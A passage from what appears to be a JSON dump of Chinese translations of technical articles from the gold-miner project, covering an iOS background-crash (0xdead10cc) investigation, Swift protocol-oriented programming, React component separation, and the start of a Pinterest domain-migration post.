能以及不能检测到的崩溃](http://t.umblr.com/redirect?z=https%3A%2F%2Fsupport.hockeyapp.net%2Fkb%2Fclient-integration-ios-mac-os-x-tvos%2Fwhich-types-of-crashes-can-be-collected-on-ios-and-os-x&t=M2RkMzgyMDY2MzU0ZWNmZmVjNDdiOTQ4MjljYWZhNjFiNDgwOGZhOCxXbjdGaWFQcQ%3D%3D&b=t%3AicJmaFg9TmrfMRpH7q0GXw&m=1)。）\n\n如果你是一名应用开发者并且登陆了开发者账号， Xcode 允许你检视 Apple 官方从你的当前帐号下的 app 用户那收集到的崩溃日志。这项功能在 Window 导航栏下的 Organizer 窗口中的 Crashes 标签中。你可以选择特定的应用版本， Xcode 会下载 Apple 从用户手上收集到的崩溃日志，前提是用户同意将信息分享给开发者。\n\n![图为 Xcode 中的 Crashes 标签栏所展示的用户崩溃信息](http://supertop.co/images/crashes_tab.png)\n\n我发现 Xcode 的这个功能也非常容易崩溃，尤其是当点击崩溃日志中线程的详情按钮进行切换的时候。一个简便的解决方案是，在列表中右键选中相应的崩溃，并选择在 Finder 中显示。如果你要研究研究包中的内容，你可以把这些崩溃日志简单地当作文本文件。\n\n### 分析崩溃原因\n\n许多不同的代码路径都触发了这个崩溃，但崩溃最终都指向一个数据库查询方法。\n\n一开始我认为是多线程引发的问题，毕竟在被线程问题折磨了多年之后，我总是第一时间想到它。我以文本文件的格式打开崩溃日志，因为这样比直接用 Xcode 打开展示了更多的细节。崩溃的异常类型是 `EXC_CRASH (SIGKILL)` ，对应的信息是 `EXC_CORPSE_NOTIFY` ，程序被终止的原因是 `Code 0xdead10cc` 。于是我试着找出 `0xdead10cc` 是什么含义。 Google 或是 Apple Developer 论坛都没有多少相关的信息，但 [Technical Note 2151](http://t.umblr.com/redirect?z=https%3A%2F%2Fdeveloper.apple.com%2Flibrary%2Fcontent%2Ftechnotes%2Ftn2151%2F_index.html&t=MTJmNGU4NThiODlmYzE1ZWJhMTM2MWFlODU3MzFiYTFmZGU2NWY4OSxXbjdGaWFQcQ%3D%3D&b=t%3AicJmaFg9TmrfMRpH7q0GXw&m=1) 中提到：\n\n> 异常码 0xdead10cc 出现意味着应用程序因为在后台操作系统资源（譬如通讯录数据库）而被 iOS 系统终止。\n\n这时候我意识到 iOS 强制关闭我的应用是因为我违反了系统规则，而不是说我的代码出了什么小问题。但是， Castro 并没有用到通讯录数据库或是任何我能想到的类似的系统资源。我还怀疑原因是不是应用在后台长时间运行而没有取消，但我也发现日志中有一些应用仅仅运行了两秒钟就发生崩溃的记录。\n\n经过推理，我最终将可能原因定位到我们的数据库相关的 SQLite 文件上，因为绝大部分的堆栈信息都显示崩溃是在操作数据库的时候发生的。但 2.1 版本上的哪个改动，突然就引起了这个崩溃呢？\n\n### 应用的共享容器\n\nCastro 2.1 版本引入了对 iMessage 的支持来让用户轻松地分享他们最近听过的播客。为了让 message app 能够访问数据库，我们将数据库逻辑移动到了应用共享容器中。\n\n我猜想文件的锁机制对在共享区域的文件有更严格的要求。或许当 iOS 准备挂起一个应用的时候，系统会检查这个应用是否正在使用一些可能被其他进程使用的文件，如果有， iOS 就会直接终止这个应用。这看起来是个有理有据的解释。\n\n\n### 如何重现崩溃\n\n如何重现正在修复的崩溃是锻炼开发者的绝佳实践。这可能涉及到临时改写一部分代码来刻意提高崩溃出现的可能性。如果我们能稳定地看到崩溃的发生，就能够逐步的验证我们的猜测，同时我们测试修复的正确性就有了参考。而与之对应的另一个方法是盲目地进行修复，发布版本，然后等着看是否会有崩溃上报。有时候，只有盲目修复一条路可走，但这条路枯燥乏味，而且到头来应用依然不断地在用户侧发生崩溃。\n\n而这个崩溃就非常不容易重现，我觉得这里批评一下 iOS 的开发环境并不过分。操作系统粗野地执行着自己的规则，大部分时候，这样做很好，因为这样可以提高安全性，延长电池寿命和稳定性。但在这样的大环境下进行应用的测试和修复，就增加了不必要的麻烦。这些规则的变化悄无声息，而要人为地在应用周期可能出现的每一个状态下进行测试非常不方便，有时候甚至根本无法完成。 \n\n在本例中，我意识到在 debugger 模式下进行测试无法触发程序后台挂起的状态。实际上，debugger [会阻止挂起，而且模拟器也不会精准的模拟挂起](http://t.umblr.com/redirect?z=https%3A%2F%2Fforums.developer.apple.com%2Fthread%2F14855&t=NmNmMmFhODVlZTk0Y2E3NDkzMzBmMWY5NzRhODY3NWRiY2MwNDExMSxXbjdGaWFQcQ%3D%3D&b=t%3AicJmaFg9TmrfMRpH7q0GXw&m=1)。如果不在 debugger 模式下的话，那么就只剩下反复测试然后查看设备日志这一个选择了。\n\nmacOS Sierra 上的全新 Console App 提供了访问任何当前连接中的 iPhone 的系统日志的功能，而在 Sierra 之前，我都是靠 Lemon Jar 的 [iOS Console](http://t.umblr.com/redirect?z=https%3A%2F%2Flemonjar.com%2Fiosconsole%2F&t=ZDQ0Y2E0YjdiNDJkMDliYzA3ZDViYTMxYTUyYThiM2Y3NjU5MzY3ZixXbjdGaWFQcQ%3D%3D&b=t%3AicJmaFg9TmrfMRpH7q0GXw&m=1) 来完成这个操作，但是，看到 Apple 官方提供能够访问日志的工具，了解这样的技术是被官方所接受并支持的，感觉也是极好的。你值得花时间去学习如何使用全新的 Console App ，它呈现出许多 Xcode 调试器无法呈现的操作。由于这份日志是整个系统所有日志的统一输出，所以会有许多不相关的冗余信息，但你可以轻松地创建一个过滤器，将显示的内容限定在与你的应用相关的范围内。\n\n为了刻意重现崩溃 `dead10cc` ：\n\n*   我在 `applicationDidEnterBackground` 方法中做了几百次数据库查询操作。\n*   在我的 Mac 上打开 Console 应用，并过滤信息，仅显示 Castro 相关。\n*   我从 Xcode 上运行安装应用，但以直接点击应用图标的形式打开应用。\n*   我按 Home 键将应用退到后台，并立刻打开 Pokémon Go ，以期系统会由于内存吃紧而挂起 Castro 。\n\n在重复了几次上述步骤之后，我发现 Console 中已经出现了我尝试重现的崩溃信息。调用堆栈看起来和真实场景的崩溃一模一样，现在我就非常自信地知道崩溃的原因何在了。\n\n接着我发现并修复了项目中一个在后台访问数据库触发的错误：在网络状况变化时，应用会在没有创建 background task 的情况下进行数据库刷新操作。如果在刷新操作尚未完成时应用进入挂起状态， iOS 就会强制终止应用运行。\n\n### 理解后台获取（ Background Fetch Gotcha ）\n\n我还要再分享一件让我惊讶的事情。在 Castro 2 版本，我们在有新剧集发布后通知客户端，从而客户端会刷新用户的推送内容。当 iOS 将这条消息转发给我们的应用的时候，它会调用 `didReceiveRemoteNotification` 方法，而在这个方法中，我们有一个 completion block 的回调。官方文档中提到：\n\n> 你的应用至多只有三十秒时间来处理推送消息，而后调用相应的 completion handler block 。实际开发中，一旦你处理完推送，就应该尽快地调用这个 handler block 。系统会记录下应用在后台所耗费的时间、电量、以及数据处理所消耗的流量。\n\n令人抓狂的点在于：就像我在前文中提到的， Castro 有时候运行不到两秒就被终止了，我从调用栈信息明确看到这时候还没有调用 completion block ，所以说，尽管文档写着说应用可以安安心心的运行个 30 秒，但我的应用还是被挂起了。\n\n这实在是出乎意料，于是我决定使用一次开发者 Technical Support Incidents 来看看到底发生了什么事（译者注： [Technical Support Incidents](https://developer.apple.com/support/technical/) 是苹果提供的一项技术支持服务 ）。我从负责我的请求的工程师 Kevin Elliott 那得到了一些非常有帮助的回应：\n\n正如我所怀疑的那样， `dead10cc` 问题源于文件上锁：\n\n> “真正触发崩溃的原因是， iOS 在挂起你的应用的时候，检查到在你的应用容器中有一个被锁住的文件（本例中就是一个 SQLite 锁）。这个检查的目的在于管理和减少应用内的数据损坏。本例的问题在于，一个文件处于被锁状态，意味着它很可能正在被修改，处于一个数据不连贯的状态。也就是说，一个应用对一个文件加锁的唯一理由就是它接下来要对这个文件进行一系列的读／写操作，并且需要保证这些写操作能够顺利完成而不被其他的写操作插队。简单的说就是，一个文件还处于被锁状态意味着对应的应用还没有完成数据的写入，而处于这种状态下的文件可能会有以下的几个问题：\n> \n> *\t\t如果应用在挂起状态被强制终止，那些“应该却还未被写入”的数据便不会被写入，导致数据损坏。\n> *\t\t如果这个文件在两个应用之间共享，此时第二个应用／应用扩展开始运行，那这个应用将要么被迫解除这个锁，并试图将文件恢复到一个稳定连续的状态，而让第一个应用继续处在一个不连续的状态，要么就完全忽略这个共享文件。”\n\n至于那 30 秒的后台运行时间：\n\n> ...正确的做法应该是彻底规避这个问题 － 如果你不能在 delegate 方法中完成所有的操作（译者注：这里的 delegate 方法即指 `didReceiveRemoteNotification` 方法），那么就直接另起一个 background task ，这样 iOS 在（completion block 中）挂起你的应用之前就会先通知你...\n\n另外， Kevin 也建议应用进入后台的时候应该关闭数据库，以此来确保应用已经完成了数据刷新并能更准确的找到少见的 bug ：\n\n> 将关闭文件作为一项常规操作，从而将一些隐蔽而奇怪的 bug （应用在后台有时不太对劲），转化成稳定出现的问题（应用在后台无法正常运行），这时候你就可以直接去定位问题了。\n\n这看起来是个明智的做法；我从没想过要在应用进入后台的时候关闭一部分功能，但其实这么做非常合理。在 Castro 的下一个版本更新中，我将会尝试在退后台时关闭数据库。\n\n### 总结\n\n通过把任何会在后台持续运行的操作放到一系列 background task 中，我成功地在 beta 版本中解决了这一问题。我们会尽快发布包含这个修复的更新。\n\n以下是我所学到的东西的小小总结：\n\n*   Apple 官方会上报一些其他服务不会上报的崩溃。所以除了外部服务之外，也要查看在 iTunes Connect 和 Xcode 上面的崩溃信息。\n*   文件的锁机制对于在共享区域的文件有着更严格的要求。\n*   依赖于 background fetch 的 completion block 是远远不够的，不要在一个现行的 background task 之外做**任何**后台操作。\n*   想要调试那些仅仅在应用生命周期的特定条件下出现的问题是非常困难的。如果你还没有尝试过新的 Sierra Console.app ，现在就开始学习吧。\n*   别忘了 [Technical Support Incidents](http://t.umblr.com/redirect?z=https%3A%2F%2Fdeveloper.apple.com%2Fsupport%2Ftechnical%2F&t=MmJjYzRkN2JmNTg0YjlmYjEyMmZkN2QwMzFmNzAyMGNjYTZjYzI1NixXbjdGaWFQcQ%3D%3D&b=t%3AicJmaFg9TmrfMRpH7q0GXw&m=1) ，你每年的开发者账号可都为这两次机会买了单噢。（多谢啦 Kevin 大兄弟！）\n\n如果你欣赏这篇文章，或许你也会对 [Supertop podcast](http://t.umblr.com/redirect?z=https%3A%2F%2Fitunes.apple.com%2Fca%2Fpodcast%2Fsupertop-podcast%2Fid1143273587%3Fmt%3D2&t=OGRlZTk5NmVhMDc2YmNlMmRmN2FhYmRjMzJmMTgxODYyZDcwNzFmZSxXbjdGaWFQcQ%3D%3D&b=t%3AicJmaFg9TmrfMRpH7q0GXw&m=1) 和我们的播客应用 [Castro](http://t.umblr.com/redirect?z=http%3A%2F%2Fsupertop.co%2Fcastro%2Fdownload%3Fcampaign%3DCastroBGCrashPost&t=OTJiNjAwYTgwOWJhNzNmNzI2NWNiMDI3Y2RhNGFhOWNiNDVmOWY2OCxXbjdGaWFQcQ%3D%3D&b=t%3AicJmaFg9TmrfMRpH7q0GXw&m=1) 感兴趣。\n\n这篇文章的标题引用了 Brent Simmons 的 [\"How Not to Crash”](http://t.umblr.com/redirect?z=http%3A%2F%2Finessential.com%2Fhownottocrash&t=YWQwOTk2YWRiOTZlYmU3ZDIyYzUwM2I5OWEzOTBiMGYxZDA0ODNjNSxXbjdGaWFQcQ%3D%3D&b=t%3AicJmaFg9TmrfMRpH7q0GXw&m=1) 系列，我强烈推荐还没看过的读者去看看这个系列。"
  },
  {
    "path": "TODO/how-protocol-oriented-programming-in-swift-saved-my-day.md",
    "content": "> * 原文地址：[How Protocol Oriented Programming in Swift saved my day?](https://medium.com/ios-os-x-development/how-protocol-oriented-programming-in-swift-saved-my-day-75737a6af022)\n* 原文作者：[NIkant Vohra](https://medium.com/@nikantvohra)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Danny Lau](https://github.com/Danny1451)\n* 校对者：[Jing Liu](https://github.com/shliujing),[lm](https://github.com/DeepMissea)\n\n# Swift 中的面向协议编程是如何点亮我的人生的\n\n面向对象编程至今已经使用了数十年了，并且成为了构建大型软件约定俗成的标准。作为iOS编程的中心思想，遵循面向对象规范来编写一个 iOS 的应用几乎不可能实现。虽然面向对象有很多优点比如封装性，访问控制和抽象性，但是它也自带有固有的缺点。\n\n1.  大多数类的情况下，当一个单继承的类需要更多不同类中的函数功能时，你会倾向于使用多继承来实现。 但是大部分的编程语言不支持这一特性，而且会导致类的继承关系变得复杂。\n2.  在多线程环境下，如果所有对象在函数中都是通过引用来传递会导致意想不到的问题。\n3.  因为类与类之间的高耦合性，为一个单独的类写测试单元会很困难。\n\n下面是网上大量的对面向对象的抱怨\n\n[All evidence points to OOP being bullshit | Pivotal](https://blog.pivotal.io/pivotal-labs/labs/all-evidence-points-to-oop-being-bullshit)\n\n[Object Oriented Programming is an expensive disaster which must end | Smash Company](http://www.smashcompany.com/technology/object-oriented-programming-is-an-expensive-disaster-which-must-end)\n\n\n\nSwift 尝试引入一种叫做面向协议的编程新规范来解决传统的面向对象编程中固有的问题。WWDC2015 演讲做了一个令人惊叹的关于面向协议编程的介绍。我迫不及待的想推荐它了。\n\n\n[![](https://i.ytimg.com/vi_webp/g2LwFZatfTI/hqdefault.webp)](https://www.youtube.com/embed/g2LwFZatfTI?wmode=opaque&widget_referrer=https%3A%2F%2Fmedium.com%2Fmedia%2Ff137712b1f42988c4a0a99675aa7c26d%3FmaxWidth%3D700&enablejsapi=1&origin=https%3A%2F%2Fcdn.embedly.com&widgetid=1)\n\nSwift 在最初的时候是包含值类型的概念。结构体和枚举都是 Swift 中的[一等公民](https://en.wikipedia.org/wiki/First-class_citizen)，还拥有很多像 propertites, methods 和 extensions 等在大多数语言只有类才有的特点。虽然在Swift中值类型不支持继承，但是通过遵循协议的方式一样能够享受到面向协议的好处。\n\nRay Wunderlich 的面向协议编程的教程展示了它的能力。\n\n[Introducing Protocol-Oriented Programming in Swift 2](https://www.raywenderlich.com/109156/introducing-protocol-oriented-programming-in-swift-2)\n\n现在我将向你展示面向协议编程是如何点亮我的人生的。我的应用程序遵循经典的左侧菜单导航模式（附带一些选项）。这个应用大概有十个不同的 view controller，它们都是继承自一个拥有基础函数和各个界面所需样式的基类 view controller。\n\n\n![](https://cdn-images-2.medium.com/max/800/1*kzD0ekSgHvBvu23OAyW7Fg.jpeg)\n\n和我的应用相似的左侧菜单的应用例子\n\n这个应用依赖于 Webscokets 来与服务器交互。服务器可以随时发送事件，而应用根据用户所在的界面来进行相应的事件响应。举个事件例子的话，比如登出事件，当用户收到了服务器关于这个状态的事件时，应用需要登出并显示登录界面。\n在我脑中的第一想法是把登出事件写在基础的 view controller 里面，当事件发生的时候，在需要的 view controller 进行调用。\n\n    // BaseViewController.swift\n    class BaseViewController {\n      func logout() {\n        //Perform Logout\n        print(\"Logout User\")\n      }\n    }\n\n这一步的问题就是并不是每个 view controller 都必须实现这个登出的功能，但是它还是都会继承这个登出的函数。此外不同的 view controller 需要响应不同的事件，所以在基础 view controller 中包含所有的函数并没有什么意义。\n\n幸运地是面向协议编程拯救了我，我声明一个 Logoutable 的协议，那些需要登出功能的 view controller 遵循这个 Logoutable 的协议就可以了。\n\n    // Logoutable.swift\n    protocol Logoutable {\n      func logout()\n    }\n\n    // ViewController.swift\n    class ViewController : Logoutable {\n      func logout() {\n        //Perform Logout\n        print(\"Logout User\")\n      }\n    }\n\n这一个进步带来的问题是我必须在每个需要遵循这个协议的 view controller 中重复这个登出函数的实现。\n\n这正是面向协议编程在 Swift 中的闪光点，因为它给我们提供了协议拓展功能，可以在一个协议中定义一个默认的函数的行为。所以我所需要做的仅仅是在 Logoutable 的协议中写一个带有默认登出行为的实现的拓展，这样这个函数对那些遵循这个协议的 view controller 的来说就是可选的。\n\n    //LogoutableExtension.swift\n    extension Logoutable where Self : BaseViewController {\n      func logout() {\n        //Perform Logout\n        print(\"Logout User\")\n      }\n    }\n\n面向协议编程完全就像魔法一样，不定义任何复杂的继承就够就实现这些功能。现在我就能为不同的事件定义不同的协议并且各自 view controller 就能够遵循它所需要的协议。\n\n面向协议编程是真正地点亮了我的人生，现在每当我需要使用继承或者其他面向对象的原理来构建我的代码时，我会想这能否通过使用面向协议编程的方法来更好的完成这项工作。我不是说它是完美的解决方案但是它仍然值得一试。\n\n\n_如果你喜欢这篇文章的话，请推荐它，这样其他人也可以欣赏它。_\n\n"
  },
  {
    "path": "TODO/how-should-i-separate-components.md",
    "content": "\n  > * 原文地址：[How do you separate components?](https://reactarmory.com/answers/how-should-i-separate-components)\n  > * 原文作者：[James K Nelson](https://twitter.com/james_k_nelson)\n  > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n  > * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/how-should-i-separate-components.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-should-i-separate-components.md)\n  > * 译者：[undead25](https://github.com/undead25)\n  > * 校对者：[薛定谔的猫](https://github.com/Aladdin-ADD)、[Germxu](https://github.com/germxu)\n\n  # 你是如何拆分组件的？\n\n  React 组件会随着时间的推移而逐步增长。幸好我意识到了这一点，不然我的一些应用程序的组件将变得非常可怕。\n\n但这实际上是一个问题吗？虽然创建许多只使用一次的小组件似乎有点奇怪……\n\n在一个大型的 React 应用程序中，拥有大量的组件本身没有什么错。实际上，对于**状态**组件，我们当然是希望它们越小越好。\n\n## 臃肿组件的出现\n\n关于状态它通常不会很好地分解。如果有多个动作作用于同一状态，那么它们都需要放在同一个组件中。状态可以被改变的方式越多，组件就越大。另外，如果一个组件有影响多个[状态类型](http://jamesknelson.com/5-types-react-application-state/)的动作，那么它将变得非常庞大，这是不可避免的。\n\n**但即使大型组件不可避免，它们使用起来仍然是非常糟糕的**。这就是为什么你会尽可能地拆分出更小的组件，遵循[关注点分离](https://en.wikipedia.org/wiki/Separation_of_concerns)的原则。\n\n当然，说起来容易做起来难。\n\n寻找关注点分离的方法是一门技术，更是一门艺术。但你可以遵循以下几种常见模式……\n\n## 4 种类型的组件\n\n根据我的经验，有四种类型的组件可以从较大的组件中拆分出来。\n\n### 视图组件\n\n有关视图组件（有些人称为展示组件）的更多信息，请参阅 Dan Abramov 的名著 —— [展示组件和容器组件](https://medium.com/@dan_abramov/smart-and-dumb-components-7ca2f9a7c7d0)。\n\n视图组件是最简单的组件类型。它们所做的就是**显示信息，并通过回调发送用户输入**。它们：\n\n- 将属性分发给子元素。\n- 拥有将数据从子元素转发到父组件的回调。\n- 通常是函数组件，但如果为了性能，它们需要绑定回调，则可能是类。\n- 一般不使用生命周期方法，性能优化除外。\n- **不**直接存储状态，除了以 UI 为中心的状态，例如动画状态。\n- **不**使用 refs 或直接与 DOM 进行交互（因为 DOM 的改变意味着状态的改变）。\n- **不**修改环境。它们不应该直接将动作发送给 redux 的 store 或者调用 API 等。\n- **不**使用 React 上下文。\n\n你可以从较大的组件中拆分出展示组件的一些迹象：\n\n- 有 DOM 标记或者样式。\n- 有像列表项这样重复的部分。\n- 有“看起来”像一个盒子或者区域的内容。\n- JSX 的一部分仅依赖于单个对象作为输入数据。\n- 有一个具有不同区域的大型展示组件。\n\n可以从较大的组件中拆分出展示组件的一些示例：\n\n- 为多个子元素执行布局的组件。\n- 卡片和列表项可以从列表中拆分出来。\n- 字段可以从表单中拆分出来（将所有的更新合并到一个 `onChange` 回调中）。\n- 标记可以从控件中拆分出来。\n\n### 控制组件\n\n控制组件指的是**存储与部分输入相关的状态**的组件，即跟踪用户已发起动作的状态，而这些状态还未通过 `onChange` 回调产生有效值。它们与展示组件相似，但是：\n\n- 可以存储状态（当与部分输入相关时）。\n- 可以使用 refs 和与 DOM 进行交互。\n- 可以使用生命周期方法。\n- 通常没有任何样式，也没有 DOM 标记。\n\n你可以从较大的组件中拆分出控制组件的一些迹象：\n\n- 将部分输入存储在状态中。\n- 通过 refs 与 DOM 进行交互。\n- 某些部分看起来像原生控件 —— 按钮，表单域等。\n\n控制组件的一些示例：\n\n- 日期选择器\n- 输入提示\n- 开关\n\n你经常会发现你的很多控件具有相同的行为，但有不同的展现形式。在这种情况下，通过将展现形式拆分成视图组件，并作为 `theme` 或 `view` 属性传入是有意义的。\n\n你可以在 [react-dnd](https://github.com/react-dnd/react-dnd) 库中查看连接器函数的实际示例。\n\n当从控件中拆分出展示组件时，你可能会发现通过 `props` 将单独的 `ref` 函数和回调传递给展示组件感觉有点不对。在这种情况下，它可能有助于传递**连接器函数**，这个函数将 refs 和回调克隆到传入的元素中。例如：\n\n```jsx\nclass MyControl extends React.Component {\n  // 连接器函数使用 React.cloneElement 将事件处理程序\n  // 和 refs 添加到由展示组件创建的元素中。\n  connectControl = (element) => {\n    return React.cloneElement(element, {\n      ref: this.receiveRef,\n      onClick: this.handleClick,\n    })\n  }\n\n  render() {\n    // 你可以通过属性将展示组件传递给控件，\n    // 从而允许控件以任意标记和样式来作为主题。\n    return React.createElement(this.props.view, {\n      connectControl: this.connectControl,\n    })\n  }\n\n  handleClick = (e) => { /* ... */ }\n  receiveRef = (node) => { /* ... */ }\n\n  // ...\n}\n\n// 展示组件可以在 `connectControl` 中包裹一个元素，\n// 以添加适当的回调和 `ref` 函数。\nfunction ControlView({ connectControl }) {\n  return connectControl(\n    <div className='some-class'>\n      control content goes here\n    </div>\n  )\n}\n```\n\n你会发现控制组件通常会非常大。它们必须处理和状态密不可分的 DOM，这就使得控制组件的拆分特别有用；通过将 DOM 交互限制为控制组件，你可以将任何与 DOM 相关的杂项放在一个地方。\n\n### 控制器\n\n一旦你将展示和控制代码拆分到独立的组件中后，大部分剩余的代码将是业务逻辑。如果有一件事我想你在阅读本文之后记住，那就是**业务逻辑不需要放在 React 组件**中。将业务逻辑用普通 JavaScript 函数和类来实现通常是有意义的。由于没有一个更好的名字，我将它称之为**控制器**。\n\n所以只有三种类型的 **React** 组件。但仍然有四种类型的组件，因为不是每个组件都是一个 React 组件。\n\n并不是每辆车都是丰田（但至少在东京大部分都是）。\n\n控制器通常遵循类似的模式。它们：\n\n- 存储某个状态。\n- 有改变那个状态的动作，并可能引起副作用。\n- 可能有一些订阅状态变更的方法，而这些变更不是由动作直接造成的。\n- 可以接受类似属性的配置，或者订阅某个全局控制器的状态。\n- **不**依赖于任何 React API。\n- **不**与 DOM 进行交互，也没有任何样式。\n\n你可以从你的组件中拆分出控制器的一些迹象：\n\n- 组件有很多与部分输入无关的状态。\n- 状态用于存储从服务器接收到的信息。\n- 引用全局状态，如拖放或导航的状态。\n\n一些控制器的示例：\n\n- 一个 Redux 或者 Flux 的 store。\n- 一个带有 MobX 可观察的 JavaScript 类。\n- 一个包含方法和实例变量的普通 JavaScript 类。\n- 一个事件发射器。\n\n一些控制器是全局的；它们完全独立于你的 React 应用程序。Redux 的 stores 就是一个是全局控制器很好的例子。但**并不是所有的控制器都需要是全局的**，也并不是所有的状态都需要放在单独的控制器或者 store 中。\n\n通过将表单和列表的控制器代码拆分为单独的类，你可以根据需要在容器组件中实例化这些类。\n\n### 容器组件\n\n容器组件是将控制器连接到展示组件和控制组件的粘合剂。它们比其他类型的组件更具有灵活性。但仍然倾向于遵循一些模式，它们：\n\n- 在组件状态中存储控制器实例。\n- 通过展示组件和控制组件来渲染状态。\n- 使用生命周期方法来订阅控制器状态的更新。\n- **不**使用 DOM 标记或样式（可能出现的例外是一些无样式的 div）。\n- 通常由像 Redux 的 `connect` 这样的高阶函数生成。 \n- 可以通过上下文访问全局控制器（例如 Redux 的 store）。\n\n虽然有时候你可以从其他容器中拆分出容器组件，但这很少见。相反，最好将精力集中在拆分控制器、展示组件和控制组件上，并将剩下的所有都变成你的容器组件。\n\n一些容器组件的示例：\n\n- 一个 `App` 组件\n- 由 Redux 的 `connect` 返回的组件。\n- 由 MobX 的 `observer` 返回的组件。\n- react-router 的 `<Link>` 组件（因为它使用上下文并影响环境）。\n\n## 组件文件\n\n你怎么称呼一个不是视图、控制、控制器或容器的组件？你只是把它叫做组件！很简单，不是吗？\n\n一旦你拆分出一个组件，问题就变成了**我把它放在哪里**？老实说，答案很大程度上取决于个人喜好，但有一条规则我认为很重要：\n\n**如果拆分出的组件只在一个父级中使用，那么它将与父级在同一个文件中**。\n\n这是为了尽可能容易地拆分组件。创建文件比较麻烦，并且会打断你的思路。如果你试着将每个组件放在不同的文件中，你很快就会问自己“我真的需要一个新组件吗？”因此，请将相关的组件放在同一个文件中。\n\n当然，一旦你找到了重用该组件的地方，你可能希望将它移动到单独的文件中。这就使得把它放到哪个文件中去成为一个甜蜜的烦恼了。\n\n## 性能怎么样？\n\n将一个庞大的组件拆分成多个控制器、展示组件和控制组件，增加了需要运行的代码总量。这可能会减慢一点点，但不会减慢很多。\n\n##### 故事\n\n我遇到过唯一一次由于使用太多组件而引起性能问题 —— 我在**每一帧**上渲染 5000 个网格单元格，每个单元格都有多个嵌套组件。\n\n关于 React 性能的是，即使你的应用程序有明显的延迟，问题肯定**不是**出于组件太多。\n\n**所以你想使用多少组件都可以**。\n\n## 如果没有拆分……\n\n我在本文中提到了很多规则，所以你可能会惊讶地听到我其实并不喜欢严格的规则。它们通常是错的，至少在某些情况下是这样。所以必须要明确的是:\n\n**『可以』拆分并不意味着『必须』拆分**。\n\n假设你的目标是让你的代码更易于理解和维护，这仍然留下了一个问题：怎样才是易于理解？怎样才是易于维护？而答案往往取决于谁在问，这就是为什么重构是技术，更是艺术。\n\n有一个具体的例子，考虑下这个组件的设计：\n\n```html\n<!DOCTYPE html>\n<html>\n  <head>\n    <title>I'm in a React app!</title>\n  </head>\n  <body>\n    <div id=\"app\"></div>\n\n    <script src=\"https://unpkg.com/react@15.6.1/dist/react.js\"></script>\n    <script src=\"https://unpkg.com/react-dom@15.6.1/dist/react-dom.js\"></script>\n    <script>\n      // 这里写 JavaScript\n    </script>\n  </body>\n</html>\n```\n\n```jsx\nclass List extends React.Component {\n  renderItem(item, i) {\n    return (\n      <li key={item.id}>\n        {item.name}\n      </li>\n    )\n  }\n\n  render() {\n    return (\n      <ul>\n        {this.props.items.map(this.renderItem)}\n      </ul>\n    )\n  }\n}\n\nReactDOM.render(\n  <List items={[\n    { id: 'a', name: 'Item 1' },\n    { id: 'b', name: 'Item 2' }\n  ]} />,\n  document.getElementById('app')\n)\n```\n\n尽管将 `renderItem` 拆分成一个单独的组件是完全可能的，但这样做实际上会有什么好处呢？可能没有。实际上，在具有多个不同组件的文件中，使用 `renderItem` 方法可能会**更容易**理解。\n\n请记住：四种类型的组件是当你觉得它们有意义的时候，你可以使用的一种模式。它们并不是硬性规定。如果你不确定某些内容是否需要拆分，那就不要拆分，因为即使某些组件比其他组件更臃肿，世界末日也不会到来。\n\n\n  ---\n\n  > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n  "
  },
  {
    "path": "TODO/how-switching-our-domain-structure-unlocked-international-growth.md",
    "content": "> * 原文地址：[How switching our domain structure unlocked international growth](https://medium.com/@Pinterest_Engineering/how-switching-our-domain-structure-unlocked-international-growth-e00c8184d5dd)\n> * 原文作者：[Pinterest Engineering](https://medium.com/@Pinterest_Engineering?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/how-switching-our-domain-structure-unlocked-international-growth.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-switching-our-domain-structure-unlocked-international-growth.md)\n> * 译者：[Starrier](https://github.com/Starriers)\n> * 校对者：[anxsec](https://github.com/anxsec)，[Xekin-FE](https://github.com/Xekin-FE)\n\n# 如何修改域名来提高国际增长率\n\nChristian Miranda | Growth 部门软件工程师\n\n在 Pinterest 上的 2 亿月活跃用户中，其中有超过半数的用户在美国之外的地方使用我们的 app。为了给全球用户提供更好的服务，我们将持续改进 Pinterest。我们已经将流量转移到了国家代码顶级域名 (ccTLDs)。例如现在服务于德国的是 [www.pinterest.de](http://www.pinterest.de) 而不再是 [www.pinterest.com.](http://www.pinterest.com.) 这里我们将深入讨论如何帮助提高增长的细节，并讨论在整个过程中遇到的一些工程挑战。\n\n### 一切尽在域名中\n\nPinterest 自 2010 年成立以来，该网站的每一页都托管在 [www.pinterest.com.](http://www.pinterest.com.) 上。上线几年后，为了让我们的内容可以按国家划分并为 Pinterest 提供本地化和相关体验，我们引进了 country 子域名 (如 de.pinterest.com)。这改善了搜索引擎的优化 (SEO) 和总体增长，因为国家子域名在全球搜索结果中排名更高，更多的人群发现了使用他们语言的相关内容。\n\n下一步是实现 ccTLDs。通过调查，我们了解到一些做出改变的网站所呈现中立或负面增长的现象，尽管业界对 ccTLDs 看法是它在许多搜索引擎算法中提供了一个更强烈的地理定位信号，用户可能会点击以本地域名结尾的结果（这会积极影响搜索排名以导致更高的点击率）。我们想对它们进行测试，观察他们将如何作用于 Pinterest 和我们多样化的内容目录。\n\n### 不仅仅是重定向：切换域名的挑战\n\n从表面上看，这个项目看起来很简单--我们所要做的就是提供我们想要的新的 ccTLDs 并设置重定向来开始给它们流量。然而很明显，修改我们网站的顶级域名需要对我们的基础设施进行重大的改变。\n\n#### 跨域认证\n\nPinterest 上的身份验证非常标准。我们有一个处理用户名/密码注册的内部用户服务，对那些第三方（如 Facebook）认证采用 OAuth 